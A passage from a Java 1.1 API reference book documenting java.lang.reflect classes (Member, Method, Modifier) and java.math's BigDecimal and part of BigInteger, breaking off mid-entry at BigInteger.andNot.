
target

The exception thrown by the target constructor or method.

Description

This constructor creates an InvocationTargetException around the given exception with no associated detail message.

public InvocationTargetException(Throwable target, String s)

Parameters

target

The exception thrown by the target constructor or method.

s

A detail message.

Description

This constructor creates an InvocationTargetException around the given exception with the given detail message.

Instance Methods

getName

public Throwable getTargetException()

Returns

The exception thrown by the target constructor or method.

Description

This method returns the exception that was originally thrown by the constructor or method.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int | Object |  |

See Also

Constructor, Method, Throwable

Previous | Home
Field | Book Index
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] Member

Java Fundamental Classes Reference

Previous Chapter 13
The java.lang.reflect Package 		Next

Member

Name

Member

Synopsis

Interface Name:

java.lang.reflect.Member

Super-interface:

None

Immediate Sub-interfaces:

None

Implemented By:

java.lang.reflect.Constructor,

java.lang.reflect.Field,

java.lang.reflect.Method

Availability:

New as of JDK 1.1

Description

The Member interface defines methods shared by members of a class: fields, methods, and constructors.

Class Summary

public abstract interface java.lang.reflect.Member {
  // Constants
  public final static int DECLARED;
  public final static int PUBLIC;
  // Methods
  public abstract Class getDeclaringClass();
  public abstract int getModifiers();
  public abstract String getName();
}

Constants

DECLARED

public final static int DECLARED

Description

A constant that represents the set of all declared members of a class or interface. This set does not include inherited members. The set can be used in calls to SecurityManager.checkMemberAccess().

PUBLIC

public final static int PUBLIC

Description

A constant that represents the set of all public members of a class or interface, including inherited members. The set can be used in calls to SecurityManager.checkMemberAccess().

Methods

getDeclaringClass

public abstract Class getDeclaringClass()

Returns

The Class object that represents the class that declared this member.

Description

This method returns the Class object for the class in which this member is declared.

getModifiers

public abstract int getModifiers()

Returns

An integer that represents the modifier keywords used to declare this member.

Description

This method returns an integer value that represents the modifiers of this member. The Modifier class should be used to decode the returned value.

getName

public abstract String getName()

Returns

The name of this member as a String.

Description

This method returns the name of this member.

See Also

Class, Constructor, Field, Method, Modifier, SecurityManager

Previous | Home | Next
InvocationTargetException | Book Index | Method
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] Method

Java Fundamental Classes Reference

Previous Chapter 13
The java.lang.reflect Package 		Next

Method

Name

Method

Synopsis

Class Name:

java.lang.reflect.Method

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.lang.reflect.Member

Availability:

New as of JDK 1.1

Description

The Method class represents a method of a class. A Method object can be obtained by calling the getMethod() method of a Class object. Method provides methods for getting the name, modifiers, return type, parameters, exceptions, and declaring class of a method. The invoke() method can be used to run the method.

Class Summary

public final class java.lang.reflect.Method extends java.lang.Object
                   implements java.lang.reflect.Member {
  // Instance Methods
  public boolean equals(Object obj);
  public Class getDeclaringClass();
  public Class[] getExceptionTypes();
  public native int getModifiers();
  public String getName();
  public Class[] getParameterTypes();
  public Class getReturnType();
  public int hashCode();
  public native Object invoke(Object obj, Object[] args);
  public String toString();
}

Instance Methods

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Method, and it is equivalent to this Method.

getDeclaringClass

public Class getDeclaringClass()

Returns

The Class object that represents the class that declared this method.

Implements

Member.getDeclaringClass()

Description

This method returns the Class object for the class in which this method is declared.

getExceptionTypes

public Class[] getExceptionTypes()

Returns

An array that contains the Class objects that describe the exceptions that can be thrown by this method.

Description

This method returns an array of Class objects that represents the throws clause of this method. If the method does not throw any exceptions, an array of length 0 is returned. As of Java 1.1.2, this method is not properly supported: it always returns an empty array.

getModifiers

public native int getModifiers()

Returns

An integer that represents the modifier keywords used to declare this method.

Implements

Member.getModifiers()

Description

This method returns an integer value that represents the modifiers of this method. The Modifier class should be used to decode the returned value.

getName

public String getName()

Returns

The name of this method as a String.

Implements

Member.getName()

Description

This method returns the name of this method.

getParameterTypes

public Class[] getParameterTypes()

Returns

An array that contains the Class objects that describe the parameter types that this method accepts.

Description

This method returns an array of Class objects that represents the parameter types this method accepts. The parameter types are listed in the order in which they are declared. If the method does not take any parameters, an array of length 0 is returned.

getReturnType

public Class getReturnType()

Returns

The Class object that represents the return type of this method.

Description

This method returns the Class object for the type that this method returns.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this Method.

invoke

 public native Object invoke(Object obj, Object[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException

Parameters

obj

The instance upon which this method is invoked.

args

An array of arguments to be passed to this method.

Returns

A Object that contains the return value of the invoked method.

Throws

IllegalAccessException

If the method is inaccessible.

IllegalArgumentException

If obj is not the correct type, or if args is the wrong length or contains the wrong types.

InvocationTargetException

If the method itself throws an exception.

NullPointerException

If obj is null.

Description

This method executes the method represented by this object on the given object using the given array of arguments. If the method is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this method.

If a particular parameter is of a primitive type, the corresponding argument is automatically unwrapped and converted to the appropriate type, if possible. If that is not possible, an IllegalArgumentException is thrown. If the method itself throws an exception, the exception is placed in an InvocationTargetException, which is then thrown to the caller of invoke().

If the method completes normally, the value it returns is returned. If the value is of a primitive type, the value is wrapped in an appropriate object and the object is returned. If the return type is void, null is returned.

toString

public String toString()

Returns

A string representation of this object.

Overrides

Object.toString()

Description

This method returns a string representation of this Method. This string contains the access modifiers of the method, if any, followed by the return type, the fully qualified name of the declaring class, a period, the name of the method, and a list of the parameters of the method, if any. The list is enclosed by parentheses and the individual parameters are separated by commas. If the method does not have any parameters, just the parentheses are included in the string.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Class, Constructor, Field, IllegalAccessException, IllegalArgumentException, InvocationTargetException, Member, Modifier, NullPointerException, Object

Previous | Home | Next
Member | Book Index | Modifier
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] Modifier

Java Fundamental Classes Reference

Previous Chapter 13
The java.lang.reflect Package 		Next

Modifier

Name

Modifier

Synopsis

Class Name:

java.lang.reflect.Modifier

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The Modifier class defines a number of constants and static methods that can decode the modifier values returned by the getModifiers() methods of the Class, Constructor, Field, and Method classes. In other words, you can use the methods in this class to determine the modifiers used to declare a class or a member of a class. The constants in the Modifier class specify the bit values used to represent the various modifiers in a modifier value. You can use these constants to test for modifiers if you want to handle the boolean algebra yourself.

Class Summary

public class java.lang.reflect.Modifier extends java.lang.Object {
  // Constants
  public final static int ABSTRACT;
  public final static int FINAL;
  public final static int INTERFACE;
  public final static int NATIVE;
  public final static int PRIVATE;
  public final static int PROTECTED;
  public final static int PUBLIC;
  public final static int STATIC;
  public final static int SYNCHRONIZED;
  public final static int TRANSIENT;
  public final static int VOLATILE;
  // Class Methods
  public static boolean isAbstract(int mod);
  public static boolean isFinal(int mod);
  public static boolean isInterface(int mod);
  public static boolean isNative(int mod);
  public static boolean isPrivate(int mod);
  public static boolean isProtected(int mod);
  public static boolean isPublic(int mod);
  public static boolean isStatic(int mod);
  public static boolean isSynchronized(int mod);
  public static boolean isTransient(int mod);
  public static boolean isVolatile(int mod);
  public static String toString(int mod);
}

Constants

ABSTRACT

public final static int ABSTRACT

Description

A constant that represents the abstract modifier.

FINAL

public final static int FINAL

Description

A constant that represents the final modifier.

INTERFACE

public final static int INTERFACE

Description

A constant that represents the interface keyword.

NATIVE

public final static int NATIVE

Description

A constant that represents the native modifier.

PRIVATE

public final static int PRIVATE

Description

A constant that represents the private modifier.

PROTECTED

public final static int PROTECTED

Description

A constant that represents the protected modifier.

PUBLIC

public final static int PUBLIC

Description

A constant that represents the public modifier.

STATIC

public final static int STATIC

Description

A constant that represents the static modifier.

SYNCHRONIZED

public final static int SYNCHRONIZED

Description

A constant that represents the synchronized modifier.

TRANSIENT

public final static int TRANSIENT

Description

A constant that represents the transient modifier.

VOLATILE

public final static int VOLATILE

Description

A constant that represents the volatile modifier.

Class Methods

isAbstract

public static boolean isAbstract(int mod)

Parameters

mod

The modifier value to test.

Returns

true if the given modifier value includes the abstract modifier; false otherwise.

Description

This method tests the given modifier value for the ABSTRACT constant.

isFinal

public static boolean isFinal(int mod)

Parameters

mod

The modifier value to test.

Returns

true if the given modifier value includes the final modifier; false otherwise.

Description

This method tests the given modifier value for the FINAL constant.

isInterface

public static boolean isInterface(int mod)

Parameters

mod

The modifier value to test.

Returns

true if the given modifier value includes the interface keyword; false otherwise.

Description

This method tests the given modifier value for the INTERFACE constant.

isNative

public static boolean isNative(int mod)

Parameters

mod

The modifier value to test.

Returns

true if the given modifier value includes the native modifier; false otherwise.

Description

This method tests the given modifier value for the NATIVE constant.

isPrivate

public static boolean isPrivate(int mod)

Parameters

mod

The modifier value to test.

Returns

true if the given modifier value includes the private modifier; false otherwise.

Description

This method tests the given modifier value for the PRIVATE constant.

isProtected

public static boolean isProtected(int mod)

Parameters

mod

The modifier value to test.

Returns

true if the given modifier value includes the protected modifier; false otherwise.

Description

This method tests the given modifier value for the PROTECTED constant.

isPublic

public static boolean isPublic(int mod)

Parameters

mod

The modifier value to test.

Returns

true if the given modifier value includes the public modifier; false otherwise.

Description

This method tests the given modifier value for the PUBLIC constant.

isStatic

public static boolean isStatic(int mod)

Parameters

mod

The modifier value to test.

Returns

true if the given modifier value includes the static modifier; false otherwise.

Description

This method tests the given modifier value for the STATIC constant.

isSynchronized

public static boolean isSynchronized(int mod)

Parameters

mod

The modifier value to test.

Returns

true if the given modifier value includes the synchronized modifier; false otherwise.

Description

This method tests the given modifier value for the SYNCHRONIZED constant.

isTransient

public static boolean isTransient(int mod)

Parameters

mod

The modifier value to test.

Returns

true if the given modifier value includes the transient modifier; false otherwise.

Description

This method tests the given modifier value for the TRANSIENT constant.

isVolatile

public static boolean isVolatile(int mod)

Parameters

mod

The modifier value to test.

Returns

true if the given modifier value includes the volatile modifier; false otherwise.

Description

This method tests the given modifier value for the VOLATILE constant.

toString

public static String toString(int mod)

Parameters

mod

The modifier value to represent as a string.

Returns

A string representation of the given modifier value.

Description

This method returns a string that represents the given modifier value. This string contains all of the modifiers specified by the given modifier value.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Class, Constructor, Field, Member

Previous | Home | Next
Method | Book Index | BigDecimal
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 14] The java.math Package

Java Fundamental Classes Reference

Previous Chapter 14 Next

14. The java.math Package

Contents:
BigDecimal
BigInteger

The package java.math is new as of Java 1.1. It contains two classes that support arithmetic on arbitrarily large integers and floating-point numbers. Figure 14.1 shows the class hierarchy for the java.math package.

Figure 14.1: The java.math package

[Graphic: Figure 14-1]

BigDecimal

Name

BigDecimal

Synopsis

Class Name:

java.math.BigDecimal

Superclass:

java.lang.Number

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The BigDecimal class represents arbitrary-precision rational numbers. A BigDecimal object provides a good way to represent a real number that exceeds the range or precision that can be represented by a double value or the rounding that is done on a double value is unacceptable.

The representation for a BigDecimal consists of an unlimited precision integer value and an integer scale factor. The scale factor indicates a power of 10 that the integer value is implicitly divided by. For example, a BigDecimal would represent the value 123.456 with an integer value of 123456 and the scale factor of 3. Note that the scale factor cannot be negative and a BigDecimal cannot overflow.

Most of the methods in BigDecimal perform mathematical operations or make comparisons with other BigDecimal objects. Operations that result in some loss of precision, such as division, require a rounding method to be specified. The BigDecimal class defines constants to represent the different rounding methods. The rounding method determines if the digit before a discarded fraction is rounded up or left unchanged.

Class Summary

public class java.math.BigDecimal extends java.lang.Number {
  // Constants
  public static final int ROUND_CEILING;
  public static final int ROUND_DOWN;
  public static final int ROUND_FLOOR;
  public static final int ROUND_HALF_DOWN;
  public static final int ROUND_HALF_EVEN;
  public static final int ROUND_HALF_UP;
  public static final int ROUND_UNNECESSARY;
  public static final int ROUND_UP;
  // Constructors
  public BigDecimal(double val);
  public BigDecimal(String val);
  public BigDecimal(BigInteger val);
  public BigDecimal(BigInteger val, int scale);
  // Class Methods
  public static BigDecimal valueOf(long val);
  public static BigDecimal valueOf(long val, int scale);
  // Instance Methods
  public BigDecimal abs();
  public BigDecimal add(BigDecimal val);
  public int compareTo(BigDecimal val);
  public BigDecimal divide(BigDecimal val, int roundingMode);
  public BigDecimal divide(BigDecimal val, int scale, int roundingMode);
  public double doubleValue();
  public boolean equals(Object x);
  public float floatValue();
  public int hashCode();
  public int intValue();
  public long longValue();
  public BigDecimal max(BigDecimal val);
  public BigDecimal min(BigDecimal val);
  public BigDecimal movePointLeft(int n);
  public BigDecimal movePointRight(int n);
  public BigDecimal multiply(BigDecimal val);
  public BigDecimal negate();
  public int scale();
  public BigDecimal setScale(int scale);
  public BigDecimal setScale(int scale, int roundingMode);
  public int signum();
  public BigDecimal subtract(BigDecimal val);
  public BigInteger toBigInteger();
  public String toString();
}

Constants

ROUND_CEILING

public static final int ROUND_CEILING

Description

A rounding method that rounds towards positive infinity. Under this method, the value is rounded to the least integer greater than or equal to its value. For example, 2.5 rounds to 3 and -2.5 rounds to -2.

ROUND_DOWN

public static final int ROUND_DOWN

Description

A rounding method that rounds towards zero by truncating. For example, 2.5 rounds to 2 and -2.5 rounds to -2.

ROUND_FLOOR

public static final int ROUND_FLOOR

Description

A rounding method that rounds towards negative infinity. Under this method, the value is rounded to the greatest integer less than or equal to its value. For example, 2.5 rounds to 2 and -2.5 rounds to -3.

ROUND_HALF_DOWN

public static final int ROUND_HALF_DOWN

Description

A rounding method that increments the digit prior to a discarded fraction if the fraction is greater than 0.5; otherwise, the digit is left unchanged. For example, 2.5 rounds to 2, 2.51 rounds to 3, -2.5 rounds to -2, and -2.51 rounds to -3.

ROUND_HALF_EVEN

public static final int ROUND_HALF_EVEN

Description

A rounding method that behaves like ROUND_HALF_UP if the digit prior to the discarded fraction is odd; otherwise it behaves like ROUND_HALF_DOWN. For example, 2.5 rounds to 2, 3.5 rounds to 4, -2.5 rounds to -2, and -3.5 rounds to -4.

ROUND_HALF_UP

public static final int ROUND_HALF_UP

Description

A rounding method that increments the digit prior to a discarded fraction if the fraction is greater than or equal to 0.5; otherwise, the digit is left unchanged. For example, 2.5 rounds to 3, 2.49 rounds to 2, -2.5 rounds to -3, and -2.49 rounds to -2.

ROUND_UNNECESSARY

public static final int ROUND_UNNECESSARY

Description

A constant that specifies that rounding is not necessary. If the result really does require rounding, an ArithmeticException is thrown.

ROUND_UP

public static final int ROUND_UP

Description

A rounding method that rounds away from zero by truncating. For example, 2.5 rounds to 3 and -2.5 rounds to -3.

Constructors

BigDecimal

public BigDecimal(double val) throws NumberFormatException

Parameters

val

The initial value.

Throws

NumberFormatException

If the double has any of the special values: Double.NEGATIVE_INFINITY, Double.POSITIVE_INFINITY, or Double.NaN.

Description

This constructor creates a BigDecimal with the given initial value. The scale of the BigDecimal that is created is the smallest value such that (10^scale x val) is an integer.

public BigDecimal(String val) throws NumberFormatException

Parameters

val

The initial value.

Throws

NumberFormatException

If the string cannot be parsed into a valid BigDecimal.

Description

This constructor creates a BigDecimal with the initial value specified by the String. The string can contain an optional minus sign, followed by zero or more decimal digits, followed by an optional fraction. The fraction must contain a decimal point and zero or more decimal digits. The string must contain as least one digit in the integer or fractional part. The scale of the BigDecimal that is created is equal to the number of digits to the right of the decimal point or 0 if there is no decimal point. The mapping from characters to digits is provided by the Character.digit() method.

public BigDecimal(BigInteger val)

Parameters

val

The initial value.

Description

This constructor creates a BigDecimal whose initial value comes from the given BigInteger. The scale of the BigDecimal that is created is 0.

 public BigDecimal(BigInteger val, int scale) throws NumberFormatException

Parameters

val

The initial value.

scale

The initial scale.

Throws

NumberFormatException

If scale is negative.

Description

This constructor creates a BigDecimal from the given parameters. The scale parameter specifies how many digits of the supplied BigInteger fall to the right of the decimal point.

Class Methods

valueOf

public static BigDecimal valueOf(long val)

Parameters

val

The initial value.

Returns

A BigDecimal that represents the given value.

Description

This method creates a BigDecimal from the given long value. The scale of the BigDecimal that is created is 0.

 public static BigDecimal valueOf(long val, int scale) throws NumberFormatException

Parameters

val

The initial value.

scale

The initial scale.

Returns

A BigDecimal that represents the given value and scale.

Throws

NumberFormatException

If scale is negative.

Description

This method creates a BigDecimal from the given parameters. The scale parameter specifies how many digits of the supplied long fall to the right of the decimal point.

Instance Methods

abs

public BigDecimal abs()

Returns

A BigDecimal that contains the absolute value of this number.

Description

This method returns the absolute value of this BigDecimal. If this BigDecimal is nonnegative, it is returned. Otherwise, a new BigDecimal that contains the absolute value of this BigDecimal is returned. The scale of the new BigDecimal is the same as that of this BigDecimal.

add

public BigDecimal add(BigDecimal val)

Parameters

val

The number to be added.

Returns

A new BigDecimal that contains the sum of this number and the given value.

Description

This method returns the sum of this BigDecimal and the given BigDecimal as a new BigDecimal. The value of the new BigDecimal is the sum of the values of the two BigDecimal objects being added; the scale is the maximum of their two scales.

compareTo

public int compareTo(BigDecimal val)

Parameters

val

The number to be compared.

Returns

-1 if this number is less than val, 0 if this number is equal to val, or 1 if this number is greater than val.

Description

This method compares this BigDecimal to the given BigDecimal and returns a value that indicates the result of the comparison. The method considers two BigDecimal objects that have the same values but different scales to be equal. This method can be used to implement all six of the standard boolean comparison operators: ==, !=, <=, <, >=, and >.

divide

 public BigDecimal divide(BigDecimal val, int roundingMode) throws ArithmeticException, IllegalArgumentException

Parameters

val

The divisor.

roundingMode

The rounding mode.

Returns

A new BigDecimal that contains the result (quotient) of dividing this number by the supplied value.

Throws

ArithmeticException

If val is 0, or if ROUND_UNNECESSARY is specified for the rounding mode but rounding is necessary.

IllegalArgumentException

If roundingMode is not a valid value.

Description

This method returns the quotient that results from dividing this BigDecimal by the given BigDecimal and applying the specified rounding mode. The quotient is returned as a new BigDecimal that has the same scale as the scale of this BigDecimal scale. One of the rounding constants must be specified for the rounding mode.

 public BigDecimal divide(BigDecimal val, int scale, int roundingMode) throws ArithmeticException, IllegalArgumentException

Parameters

val

The divisor.

scale

The scale for the result.

roundingMode

The rounding mode.

Returns

A new BigDecimal that contains the result (quotient) of dividing this number by the supplied value.

Throws

ArithmeticException

If val is 0, if scale is less than zero, or if ROUND_UNNECESSARY is specified for the rounding mode but rounding is necessary.

IllegalArgumentException

If roundingMode is not a valid value.

Description

This method returns the quotient that results from dividing dividing this BigDecimal by the given BigDecimal and applying the specified rounding mode. The quotient is returned as a new BigDecimal that has the given scale. One of the rounding constants must be specified for the rounding mode.

doubleValue

public double doubleValue()

Returns

The value of this BigDecimal as a double.

Overrides

Number.doubleValue()

Description

This method returns the value of this BigDecimal as a double. If the value exceeds the limits of a double, Double.POSITIVE_INFINITY or Double.NEGATIVE_INFINITY is returned.

equals

public boolean equals(Object x)

Parameters

x

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if x is an instance of BigDecimal, and it represents the same value as this BigDecimal. In order to be considered equal using this method, two BigDecimal objects must have the same values and scales.

floatValue

public float floatValue()

Returns

The value of this BigDecimal as a float.

Overrides

Number.floatValue()

Description

This method returns the value of this BigDecimal as a float. If the value exceeds the limits of a float, Float.POSITIVE_INFINITY or Float.NEGATIVE_INFINITY is returned.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this BigDecimal.

intValue

public int intValue()

Returns

The value of this BigDecimal as an int.

Overrides

Number.intValue()

Description

This method returns the value of this BigDecimal as an int. If the value exceeds the limits of an int, the excessive high-order bits are discarded. Any fractional part of this BigDecimal is truncated.

longValue

public long longValue()

Returns

The value of this BigDecimal as a long.

Overrides

Number.longValue()

Description

This method returns the value of this BigDecimal as a long. If the value exceeds the limits of a long, the excessive high-order bits are discarded. Any fractional part of this BigDecimal is also truncated.

max

public BigDecimal max(BigDecimal val)

Parameters

val

The number to be compared.

Returns

The BigDecimal that represents the greater of this number and the given value.

Description

This method returns the greater of this BigDecimal and the given BigDecimal.

min

public BigDecimal min(BigDecimal val)

Parameters

val

The number to be compared.

Returns

The BigDecimal that represents the lesser of this number and the given value.

Description

This method returns the lesser of this BigDecimal and the given BigDecimal.

movePointLeft

public BigDecimal movePointLeft(int n)

Parameters

n

The number of digits to move the decimal point to the left.

Returns

A new BigDecimal that contains the adjusted number.

Description

This method returns a BigDecimal that is computed by shifting the decimal point of this BigDecimal left by the given number of digits. If n is nonnegative, the value of the new BigDecimal is the same as the current value, and the scale is increased by n. If n is negative, the method call is equivalent to movePointRight(-n).

movePointRight

public BigDecimal movePointRight(int n)

Parameters

n

The number of digits to move the decimal point to the right.

Returns

A new BigDecimal that contains the adjusted number.

Description

This method returns a BigDecimal that is computed by shifting the decimal point of this BigDecimal right by the given number of digits. If n is nonnegative, the value of the new BigDecimal is the same as the current value, and the scale is decreased by n. If n is negative, the method call is equivalent to movePointLeft(-n).

multiply

public BigDecimal multiply(BigDecimal val)

Parameters

val

The number to be multiplied.

Returns

A new BigDecimal that contains the product of this number and the given value.

Description

This method multiplies this BigDecimal and the given BigDecimal, and returns the result as a new BigDecimal. The value of the new BigDecimal is the product of the values of the two BigDecimal objects being added; the scale is the sum of their two scales.

negate

public BigDecimal negate()

Returns

A new BigDecimal that contains the negative of this number.

Description

This method returns a new BigDecimal that is identical to this BigDecimal except that its sign is reversed. The scale of the new BigDecimal is the same as the scale of this BigDecimal.

scale

public int scale()

Returns

The scale of this number.

Description

This method returns the scale of this BigDecimal.

setScale

 public BigDecimal setScale(int scale) throws ArithmeticException, IllegalArgumentException

Parameters

scale

a The new scale.

Returns

A new BigDecimal that is identical to this number, except that is has the given scale.

Throws

ArithmeticException

If the new number cannot be calculated without rounding.

IllegalArgumentException

This exception is never thrown.

Description

This method creates a new BigDecimal that has the given scale and a value that is calculated by multiplying or dividing the value of this BigDecimal by the appropriate power of 10 to maintain the overall value. The method is typically used to increase the scale of a number, not decrease it. It can decrease the scale, however, if there are enough zeros in the fractional part of the value to allow for rescaling without loss of precision.

Calling this method is equivalent to calling setScale(scale, BigDecimal.ROUND_UNNECESSARY).

 public BigDecimal setScale(int scale, int roundingMode) throws ArithmeticException, IllegalArgumentException

Parameters

scale

The new scale.

roundingMode

The rounding mode.

Returns

A new BigDecimal that contains this number adjusted to the given scale.

Throws

ArithmeticException

If scale is less than zero, or if ROUND_UNNECESSARY is specified for the rounding mode but rounding is necessary.

IllegalArgumentException

If roundingMode is not a valid value.

Description

This method creates a new BigDecimal that has the given scale and a value that is calculated by multiplying or dividing the value of this BigDecimal by the appropriate power of 10 to maintain the overall value. When the scale is reduced, the value must be divided, so precision may be lost. In this case, the specified rounding mode is used.

signum

public int signum()

Returns

-1 if this number is negative, 0 if this number is zero, or 1 if this number is positive.

Description

This method returns a value that indicates the sign of this BigDecimal.

subtract

public BigDecimal subtract(BigDecimal val)

Parameters

val

The number to be subtracted.

Returns

A new BigDecimal that contains the result of subtracting the given number from this number.

Description

This method subtracts the given BigDecimal from this BigDecimal and returns the result as a new BigDecimal. The value of the new BigDecimal is the result of subtracting the value of the given BigDecimal from this BigDecimal; the scale is the maximum of their two scales.

toBigInteger

public BigInteger toBigInteger()

Returns

The value of this BigDecimal as a BigInteger.

Description

This method returns the value of this BigDecimal as a BigInteger. The fractional part of this number is truncated.

toString

public String toString()

Returns

A string representation of this object.

Overrides

Object.toString()

Description

This method returns a string representation of this BigDecimal. A minus sign represents the sign, and a decimal point is used to represent the scale. The mapping from digits to characters is provided by the Character.forDigit() method.

Inherited Methods

Method | Inherited From | Method | Inherited From
byteValue() | Number | clone() | Object
getClass() | Object | finalize() | Object
notify() | Object | notifyAll() | Object
shortValue() | Number | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

ArithmeticException, BigInteger, Character, Double, Float, IllegalArgumentException, Integer, Long, Number, NumberFormatException

Previous | Home | Next
Modifier | Book Index | BigInteger
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 14] BigInteger

Java Fundamental Classes Reference

Previous Chapter 14
The java.math Package 		Next

BigInteger

Name

BigInteger

Synopsis

Class Name:

java.math.BigInteger

Superclass:

java.lang.Number

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The BigInteger class represents an arbitrary-precision integer value. You should use this class if a long is not big enough for your purposes. The number in a BigInteger is represented by a sign value and a magnitude, which is an arbitrarily large array of bytes. A BigInteger cannot overflow.

Most of the methods in BigInteger perform mathematical operations or make comparisons with other BigInteger objects. BigInteger also defines some methods for handling modular arithmetic and determining primality that are needed for cryptographic purposes.

Class Summary

public class java.math.BigInteger extends java.lang.Number {
  // Constructors
  public BigInteger(byte[] val);
  public BigInteger(int signum, byte[] magnitude);
  public BigInteger(String val);
  public BigInteger(String val, int radix);
  public BigInteger(int numBits, Random rndSrc);
  public BigInteger(int bitLength, int certainty, Random rnd);
  // Class Methods
  public static BigInteger valueOf(long val);
  // Instance Methods
  public BigInteger abs();
  public BigInteger add(BigInteger val);
  public BigInteger and(BigInteger val);
  public BigInteger andNot(BigInteger val);
  public int bitCount();
  public int bitLength();
  public BigInteger clearBit(int n);
  public int compareTo(BigInteger val);
  public BigInteger divide(BigInteger val);
  public BigInteger[] divideAndRemainder(BigInteger val);
  public double doubleValue();
  public boolean equals(Object x);
  public BigInteger flipBit(int n);
  public float floatValue();
  public BigInteger gcd(BigInteger val);
  public int getLowestSetBit();
  public int hashCode();
  public int intValue();
  public boolean isProbablePrime(int certainty);
  public long longValue();
  public BigInteger max(BigInteger val);
  public BigInteger min(BigInteger val);
  public BigInteger mod(BigInteger m);
  public BigInteger modInverse(BigInteger m);
  public BigInteger modPow(BigInteger exponent, BigInteger m);
  public BigInteger multiply(BigInteger val);
  public BigInteger negate();
  public BigInteger not();
  public BigInteger or(BigInteger val);
  public BigInteger pow(int exponent);
  public BigInteger remainder(BigInteger val);
  public BigInteger setBit(int n);
  public BigInteger shiftLeft(int n);
  public BigInteger shiftRight(int n);
  public int signum();
  public BigInteger subtract(BigInteger val);
  public boolean testBit(int n);
  public byte[] toByteArray();
  public String toString();
  public String toString(int radix);
  public BigInteger xor(BigInteger val);
}

Constructors

BigInteger

public BigInteger(byte[] val) throws NumberFormatException

Parameters

val

The initial value.

Throws

NumberFormatException

If the array does not contain any bytes.

Description

This constructor creates a BigInteger with the given initial value. The value is expressed as a two's complement signed integer, with the most significant byte in the first position (val[0]) of the array (big-endian). The most significant bit of the most significant byte is the sign bit.

 public BigInteger(int signum, byte[] magnitude) throws NumberFormatException

Parameters

signum

The sign of the value: -1 indicates negative, 0 indicates zero, and 1 indicates positive.

magnitude

The initial magnitude of the value.

Throws

NumberFormatException

If signum is invalid or if signum is 0 but magnitude is not 0.

Description

This constructor creates a BigInteger with the given initial value and sign. The magnitude is expressed as a big-endian byte array.

public BigInteger(String val) throws NumberFormatException

Parameters

val

The initial value.

Throws

NumberFormatException

If the string cannot be parsed into a valid BigInteger.

Description

This constructor creates a BigInteger with the initial value specified by the String. The string can contain an optional minus sign followed by zero or more decimal digits. The mapping from characters to digits is provided by the Character.digit() method.

 public BigInteger(String val, int radix) throws NumberFormatException

Parameters

val

The initial value.

radix

The radix to use to parse the given string.

Throws

NumberFormatException

If the string cannot be parsed, or if the radix is not in the allowed range (Character.MIN_RADIX through Character.MAX_RADIX).

Description

This constructor creates a BigInteger with the initial value specified by the String using the given radix. The string can contain an optional minus sign followed by zero or more digits in the specified radix. The mapping from characters to digits is provided by the Character.digit() method.

 public BigInteger(int numBits, Random rndSrc) throws IllegalArgumentException

Parameters

numBits

The maximum number of bits in the returned number.

rndSrc

The source of the random bits.

Throws

IllegalArgumentException

If numBits is less than zero.

Description

This constructor creates a random BigInteger in the range 0 to 2^numBits -1.

public BigInteger(int bitLength, int certainty, Random rnd)

Parameters

bitLength

The maximum number of bits in the returned number.

certainty

The certainty that the returned value is a prime number.

rnd

The source of the random bits.

Throws

ArithmeticException

If numBits is less than 2.

Description

This constructor creates a random BigInteger in the range 0 to 2^numBits-1 that is probably a prime number. The probability that the returned number is prime is greater than 1-.5^certainty. In other words, the higher the value of certainty, the more likely the BigInteger is to be prime, and also the longer it takes for the constructor to create the BigInteger.

Class Methods

valueOf

public static BigInteger valueOf(long val)

Parameters

val

The initial value.

Returns

A BigInteger that represents the given value.

Description

This method creates a BigInteger from the given long value.

Instance Methods

abs

public BigInteger abs()

Returns

A BigInteger that contains the absolute value of this number.

Description

This method returns the absolute value of this BigInteger. If this BigInteger is nonnegative, it is returned. Otherwise, a new BigInteger that contains the absolute value of this BigInteger is returned.

add

public BigInteger add(BigInteger val) throws ArithmeticException

Parameters

val

The number to be added.

Returns

A new BigInteger that contains the sum of this number and the given value.

Throws

ArithmeticException

If any kind of arithmetic error occurs.

Description

This method returns the sum of this BigInteger and the given BigInteger as a new BigInteger.

and

public BigInteger and(BigInteger val)

Parameters

val

The number to be ANDed.

Returns

A new BigInteger that contains the bitwise AND of this number and the given value.

Description

This method returns the bitwise AND of this BigInteger and the supplied BigInteger as a new BigInteger.

andNot

public BigInteger andNot(BigInteger val)

